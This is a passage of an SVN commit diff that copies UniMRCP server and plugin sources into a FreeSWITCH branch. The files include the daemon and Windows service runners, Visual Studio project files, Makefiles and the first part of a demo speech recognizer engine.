+			if(cmdline[i] == '\n') {
+				cmdline[i] = '\0';
+				break;
+			}
+		}
+		if(*cmdline) {
+			running = cmdline_process(cmdline);
+		}
+	}
+	while(running != 0);
+
+	/* shutdown server */
+	unimrcp_server_shutdown(server);
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_daemon.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_daemon.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/src/uni_daemon.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_daemon.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_daemon.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_signal.h>
+#include <apr_thread_proc.h>
+#include "unimrcp_server.h"
+#include "apt_log.h"
+
+static apt_bool_t daemon_running;
+
+static void sigterm_handler(int signo)
+{
+	daemon_running = FALSE;
+}
+
+apt_bool_t uni_daemon_run(apt_dir_layout_t *dir_layout, apr_pool_t *pool)
+{
+	mrcp_server_t *server;
+
+	daemon_running = TRUE;
+	apr_signal(SIGTERM,sigterm_handler);
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Run as Daemon");
+	apr_proc_detach(APR_PROC_DETACH_DAEMONIZE);
+
+	/* start server */
+	server = unimrcp_server_start(dir_layout);
+	if(!server) {
+		return FALSE;
+	}
+
+	while(daemon_running) apr_sleep(1000000);
+
+	/* shutdown server */
+	unimrcp_server_shutdown(server);
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_service.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_service.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/src/uni_service.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_service.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/src/uni_service.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,104 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <windows.h>
+#include <apr_lib.h>
+#include "unimrcp_server.h"
+#include "apt_log.h"
+
+#define WIN_SERVICE_NAME "unimrcp"
+
+static SERVICE_STATUS_HANDLE win_service_status_handle = NULL;
+static SERVICE_STATUS win_service_status;
+
+static mrcp_server_t *server = NULL;
+static apt_dir_layout_t *service_dir_layout = NULL;
+
+/** SCM state change handler */
+static void WINAPI win_service_handler(DWORD control)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Service Handler %d",control);
+	switch (control)
+	{
+		case SERVICE_CONTROL_INTERROGATE:
+			break;
+		case SERVICE_CONTROL_SHUTDOWN:
+		case SERVICE_CONTROL_STOP:
+			if(server) {
+				win_service_status.dwCurrentState = SERVICE_STOP_PENDING; 
+				if(!SetServiceStatus(win_service_status_handle, &win_service_status)) { 
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Set Service Status %d",GetLastError());
+				}
+
+				/* shutdown server */
+				unimrcp_server_shutdown(server);
+			}
+			win_service_status.dwCurrentState = SERVICE_STOPPED; 
+			win_service_status.dwCheckPoint = 0; 
+			win_service_status.dwWaitHint = 0; 
+			break;
+	}
+
+	if(!SetServiceStatus(win_service_status_handle, &win_service_status)) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Set Service Status %d",GetLastError());
+	}
+}
+
+static void WINAPI win_service_main(DWORD argc, LPTSTR *argv)
+{
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Service Main");
+	win_service_status.dwServiceType = SERVICE_WIN32;
+	win_service_status.dwControlsAccepted = SERVICE_ACCEPT_STOP;
+	win_service_status.dwWin32ExitCode = 0;
+	win_service_status.dwServiceSpecificExitCode = 0;
+	win_service_status.dwCheckPoint = 0;
+	win_service_status.dwWaitHint = 0;
+
+	win_service_status_handle = RegisterServiceCtrlHandler(WIN_SERVICE_NAME, win_service_handler);
+	if(win_service_status_handle == (SERVICE_STATUS_HANDLE)0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Register Service Control Handler %d",GetLastError());
+		return;
+	} 
+
+	win_service_status.dwCurrentState = SERVICE_START_PENDING;
+	if(!SetServiceStatus(win_service_status_handle, &win_service_status)) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Set Service Status %d",GetLastError());
+	} 
+
+	/* start server */
+	server = unimrcp_server_start(service_dir_layout);
+
+	win_service_status.dwCurrentState =  server ? SERVICE_RUNNING : SERVICE_STOPPED;
+	if(!SetServiceStatus(win_service_status_handle, &win_service_status)) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Set Service Status %d",GetLastError());
+	} 
+}
+
+/** Run SCM service */
+apt_bool_t uni_service_run(apt_dir_layout_t *dir_layout, apr_pool_t *pool)
+{
+	SERVICE_TABLE_ENTRY win_service_table[] = {
+		{ WIN_SERVICE_NAME, win_service_main },
+		{ NULL, NULL }
+	};
+
+	service_dir_layout = dir_layout;
+	apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Run as Service");
+	if(!StartServiceCtrlDispatcher(win_service_table)) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Connect to SCM %d",GetLastError());
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/unimrcpserver.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/unimrcpserver.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-server/unimrcpserver.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/unimrcpserver.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-server/unimrcpserver.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="windows-1251"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcpserver"
+	ProjectGUID="{592CF22D-3F8F-4A77-A174-130D77B7623B}"
+	RootNamespace="unimrcpserver"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpserver.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="$(UniMRCPServerLibs)"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="1"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpserver.vsprops"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="$(UniMRCPServerLibs)"
+				LinkTimeCodeGeneration="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath=".\src\main.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\uni_cmdline.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\uni_daemon.c"
+				>
+			</File>
+			<File
+				RelativePath=".\src\uni_service.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins)

Property changes: freeswitch/branches/seven/libs/unimrcp/plugins


Name: svn:ignore
   + Makefile.in
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,23 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+SUBDIRS                =
+
+if DEMOSYNTH_PLUGIN
+SUBDIRS               += demo-synth
+endif
+
+if DEMORECOG_PLUGIN
+SUBDIRS               += demo-recog
+endif
+
+if CEPSTRAL_PLUGIN
+SUBDIRS               += mrcp-cepstral
+endif
+
+if POCKETSPHINX_PLUGIN
+SUBDIRS               += mrcp-pocketsphinx
+endif
+
+if FLITE_PLUGIN
+SUBDIRS               += mrcp-flite
+endif

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-recog)

Property changes: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-recog/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+MAINTAINERCLEANFILES 	   = Makefile.in
+
+INCLUDES                   = -Iinclude \
+                             -I$(top_srcdir)/libs/mrcp-engine/include \
+                             -I$(top_srcdir)/libs/mrcp/include \
+                             -I$(top_srcdir)/libs/mrcp/message/include \
+                             -I$(top_srcdir)/libs/mrcp/control/include \
+                             -I$(top_srcdir)/libs/mrcp/resources/include \
+                             -I$(top_srcdir)/libs/mpf/include \
+                             -I$(top_srcdir)/libs/apr-toolkit/include \
+                             $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+plugin_LTLIBRARIES         = demorecog.la
+
+demorecog_la_SOURCES       = src/demo_recog_engine.c
+demorecog_la_LDFLAGS       = -module $(PLUGIN_LT_VERSION)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/demorecog.vcproj

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/demorecog.vcproj (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-recog/demorecog.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/demorecog.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/demorecog.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,165 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="demorecog"
+	ProjectGUID="{B495B6D9-AF84-479D-B30A-313C16EF8BFD}"
+	RootNamespace="demorecog"
+	Keyword="Win32Proj"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unidebug.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			ConfigurationType="2"
+			InheritedPropertySheets="$(ProjectDir)..\..\build\vsprops\unirelease.vsprops;$(ProjectDir)..\..\build\vsprops\unimrcpplugin.vsprops"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="include"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCWebDeploymentTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="include"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+		</Filter>
+		<Filter
+			Name="src"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			>
+			<File
+				RelativePath=".\src\demo_recog_engine.c"
+				>
+			</File>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/src (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-recog/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/src/demo_recog_engine.c

Copied: freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/src/demo_recog_engine.c (from rev 14471, freeswitch/trunk/libs/unimrcp/plugins/demo-recog/src/demo_recog_engine.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/src/demo_recog_engine.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/plugins/demo-recog/src/demo_recog_engine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,508 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Some mandatory rules for plugin implementation.
+ * 1. Each plugin MUST contain the following function as an entry point of the plugin
+ *        MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+ * 2. One and only one response MUST be sent back to the received request.
+ * 3. Methods (callbacks) of the MRCP engine channel MUST not block.
+ *   (asynch response can be sent from the context of other thread)
+ * 4. Methods (callbacks) of the MPF engine stream MUST not block.
+ */
+
+#include "mrcp_resource_engine.h"
+#include "mrcp_recog_resource.h"
+#include "mrcp_recog_header.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_message.h"
+#include "mpf_activity_detector.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define RECOG_ENGINE_TASK_NAME "Demo Recog Engine"
+
+typedef struct demo_recog_engine_t demo_recog_engine_t;
+typedef struct demo_recog_channel_t demo_recog_channel_t;
+typedef struct demo_recog_msg_t demo_recog_msg_t;
+
+/** Declaration of recognizer engine methods */
+static apt_bool_t demo_recog_engine_destroy(mrcp_resource_engine_t *engine);
+static apt_bool_t demo_recog_engine_open(mrcp_resource_engine_t *engine);
+static apt_bool_t demo_recog_engine_close(mrcp_resource_engine_t *engine);
+static mrcp_engine_channel_t* demo_recog_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool);
+
+static const struct mrcp_engine_method_vtable_t engine_vtable = {
+	demo_recog_engine_destroy,
+	demo_recog_engine_open,
+	demo_recog_engine_close,
+	demo_recog_engine_channel_create
+};
+
+
+/** Declaration of recognizer channel methods */
+static apt_bool_t demo_recog_channel_destroy(mrcp_engine_channel_t *channel);
+static apt_bool_t demo_recog_channel_open(mrcp_engine_channel_t *channel);
+static apt_bool_t demo_recog_channel_close(mrcp_engine_channel_t *channel);
+static apt_bool_t demo_recog_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request);
+
+static const struct mrcp_engine_channel_method_vtable_t channel_vtable = {
+	demo_recog_channel_destroy,
+	demo_recog_channel_open,
+	demo_recog_channel_close,
+	demo_recog_channel_request_process
+};
+
+/** Declaration of recognizer audio stream methods */
+static apt_bool_t demo_recog_stream_destroy(mpf_audio_stream_t *stream);
+static apt_bool_t demo_recog_stream_open(mpf_audio_stream_t *stream);
+static apt_bool_t demo_recog_stream_close(mpf_audio_stream_t *stream);
+static apt_bool_t demo_recog_stream_write(mpf_audio_stream_t *stream, const mpf_frame_t *frame);
+
+static const mpf_audio_stream_vtable_t audio_stream_vtable = {
+	demo_recog_stream_destroy,
+	NULL,
+	NULL,
+	NULL,
+	demo_recog_stream_open,
+	demo_recog_stream_close,
+	demo_recog_stream_write
+};
+
+/** Declaration of demo recognizer engine */
+struct demo_recog_engine_t {
+	apt_consumer_task_t    *task;
+};
+
+/** Declaration of demo recognizer channel */
+struct demo_recog_channel_t {
+	/** Back pointer to engine */
+	demo_recog_engine_t     *demo_engine;
+	/** Engine channel base */
+	mrcp_engine_channel_t   *channel;
+
+	/** Active (in-progress) recognition request */
+	mrcp_message_t          *recog_request;
+	/** Pending stop response */
+	mrcp_message_t          *stop_response;
+	/** Indicates whether input timers are started */
+	apt_bool_t               timers_started;
+	/** Voice activity detector */
+	mpf_activity_detector_t *detector;
+	/** File to write utterance to */
+	FILE                    *audio_out;
+};
+
+typedef enum {
+	DEMO_RECOG_MSG_OPEN_CHANNEL,
+	DEMO_RECOG_MSG_CLOSE_CHANNEL,
+	DEMO_RECOG_MSG_REQUEST_PROCESS
+} demo_recog_msg_type_e;
+
+/** Declaration of demo recognizer task message */
+struct demo_recog_msg_t {
+	demo_recog_msg_type_e  type;
+	mrcp_engine_channel_t *channel; 
+	mrcp_message_t        *request;
+};
+
+static apt_bool_t demo_recog_msg_signal(demo_recog_msg_type_e type, mrcp_engine_channel_t *channel, mrcp_message_t *request);
+static apt_bool_t demo_recog_msg_process(apt_task_t *task, apt_task_msg_t *msg);
+
+/** Declare this macro to use log routine of the server, plugin is loaded from */
+MRCP_PLUGIN_LOGGER_IMPLEMENT
+
+/** Create demo recognizer engine */
+MRCP_PLUGIN_DECLARE(mrcp_resource_engine_t*) mrcp_plugin_create(apr_pool_t *pool)
+{
+	demo_recog_engine_t *demo_engine = apr_palloc(pool,sizeof(demo_recog_engine_t));
+	apt_task_t *task;
+	apt_task_vtable_t *vtable;
+	apt_task_msg_pool_t *msg_pool;
+
+	msg_pool = apt_task_msg_pool_create_dynamic(sizeof(demo_recog_msg_t),pool);
+	demo_engine->task = apt_consumer_task_create(demo_engine,msg_pool,pool);
+	if(!demo_engine->task) {
+		return NULL;
+	}
+	task = apt_consumer_task_base_get(demo_engine->task);
+	apt_task_name_set(task,RECOG_ENGINE_TASK_NAME);
+	vtable = apt_task_vtable_get(task);
+	if(vtable) {
+		vtable->process_msg = demo_recog_msg_process;
+	}
+
+	/* create resource engine base */
+	return mrcp_resource_engine_create(
+					MRCP_RECOGNIZER_RESOURCE,  /* MRCP resource identifier */
+					demo_engine,               /* object to associate */
+					&engine_vtable,            /* virtual methods table of resource engine */
+					pool);                     /* pool to allocate memory from */
+}
+
+/** Destroy recognizer engine */
+static apt_bool_t demo_recog_engine_destroy(mrcp_resource_engine_t *engine)
+{
+	demo_recog_engine_t *demo_engine = engine->obj;
+	if(demo_engine->task) {
+		apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+		apt_task_destroy(task);
+		demo_engine->task = NULL;
+	}
+	return TRUE;
+}
+
+/** Open recognizer engine */
+static apt_bool_t demo_recog_engine_open(mrcp_resource_engine_t *engine)
+{
+	demo_recog_engine_t *demo_engine = engine->obj;
+	if(demo_engine->task) {
+		apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+		apt_task_start(task);
+	}
+	return TRUE;
+}
+
+/** Close recognizer engine */
+static apt_bool_t demo_recog_engine_close(mrcp_resource_engine_t *engine)
+{
+	demo_recog_engine_t *demo_engine = engine->obj;
+	if(demo_engine->task) {
+		apt_task_t *task = apt_consumer_task_base_get(demo_engine->task);
+		apt_task_terminate(task,TRUE);
+	}
+	return TRUE;
+}
+
+static mrcp_engine_channel_t* demo_recog_engine_channel_create(mrcp_resource_engine_t *engine, apr_pool_t *pool)
+{
+	/* create demo recog channel */
+	demo_recog_channel_t *recog_channel = apr_palloc(pool,sizeof(demo_recog_channel_t));
+	recog_channel->demo_engine = engine->obj;
+	recog_channel->recog_request = NULL;
+	recog_channel->stop_response = NULL;
+	recog_channel->detector = mpf_activity_detector_create(pool);
+	recog_channel->audio_out = NULL;
+	/* create engine channel base */
+	recog_channel->channel = mrcp_engine_sink_channel_create(
+			engine,               /* resource engine */
+			&channel_vtable,      /* virtual methods table of engine channel */
+			&audio_stream_vtable, /* virtual methods table of audio stream */
+			recog_channel,        /* object to associate */
+			NULL,                 /* codec descriptor might be NULL by default */
+			pool);                /* pool to allocate memory from */
+	return recog_channel->channel;
+}
+
+/** Destroy engine channel */
+static apt_bool_t demo_recog_channel_destroy(mrcp_engine_channel_t *channel)
+{
+	demo_recog_channel_t *recog_channel = channel->method_obj;
+	if(recog_channel->audio_out) {
+		fclose(recog_channel->audio_out);
+		recog_channel->audio_out = NULL;
+	}
+
+	return TRUE;
+}
+
+/** Open engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t demo_recog_channel_open(mrcp_engine_channel_t *channel)
+{
+	return demo_recog_msg_signal(DEMO_RECOG_MSG_OPEN_CHANNEL,channel,NULL);
+}
+
+/** Close engine channel (asynchronous response MUST be sent)*/
+static apt_bool_t demo_recog_channel_close(mrcp_engine_channel_t *channel)
+{
+	return demo_recog_msg_signal(DEMO_RECOG_MSG_CLOSE_CHANNEL,channel,NULL);
+}
+
+/** Process MRCP channel request (asynchronous response MUST be sent)*/
+static apt_bool_t demo_recog_channel_request_process(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	return demo_recog_msg_signal(DEMO_RECOG_MSG_REQUEST_PROCESS,channel,request);
+}
+
+/** Process RECOGNIZE request */
+static apt_bool_t demo_recog_channel_recognize(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	/* process RECOGNIZE request */
+	mrcp_recog_header_t *recog_header;
+	demo_recog_channel_t *recog_channel = channel->method_obj;
+	recog_channel->timers_started = TRUE;
+
+	/* get recognizer header */
+	recog_header = mrcp_resource_header_get(request);
+	if(recog_header) {
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_START_INPUT_TIMERS) == TRUE) {
+			recog_channel->timers_started = recog_header->start_input_timers;
+		}
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_NO_INPUT_TIMEOUT) == TRUE) {
+			mpf_activity_detector_noinput_timeout_set(recog_channel->detector,recog_header->no_input_timeout);
+		}
+		if(mrcp_resource_header_property_check(request,RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT) == TRUE) {
+			mpf_activity_detector_complete_timeout_set(recog_channel->detector,recog_header->speech_complete_timeout);
+		}
+	}
+
+	if(!recog_channel->audio_out) {
+		const apt_dir_layout_t *dir_layout = channel->engine->dir_layout;
+		char *file_name = apr_pstrcat(channel->pool,"utter-",request->channel_id.session_id.buf,".pcm",NULL);
+		char *file_path = apt_datadir_filepath_get(dir_layout,file_name,channel->pool);
+		if(file_path) {
+			recog_channel->audio_out = fopen(file_path,"wb");
+		}
+	}
+
+	response->start_line.request_state = MRCP_REQUEST_STATE_INPROGRESS;
+	/* send asynchronous response */
+	mrcp_engine_channel_message_send(channel,response);
+	recog_channel->recog_request = request;
+	return TRUE;
+}
+
+/** Process STOP request */
+static apt_bool_t demo_recog_channel_stop(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	/* process STOP request */
+	demo_recog_channel_t *recog_channel = channel->method_obj;
+	/* store STOP request, make sure there is no more activity and only then send the response */
+	recog_channel->stop_response = response;
+	return TRUE;
+}
+
+/** Process START-INPUT-TIMERS request */
+static apt_bool_t demo_recog_channel_timers_start(mrcp_engine_channel_t *channel, mrcp_message_t *request, mrcp_message_t *response)
+{
+	demo_recog_channel_t *recog_channel = channel->method_obj;
+	recog_channel->timers_started = TRUE;
+	return mrcp_engine_channel_message_send(channel,response);
+}
+
+/** Dispatch MRCP request */
+static apt_bool_t demo_recog_channel_request_dispatch(mrcp_engine_channel_t *channel, mrcp_message_t *request)
+{
+	apt_bool_t processed = FALSE;
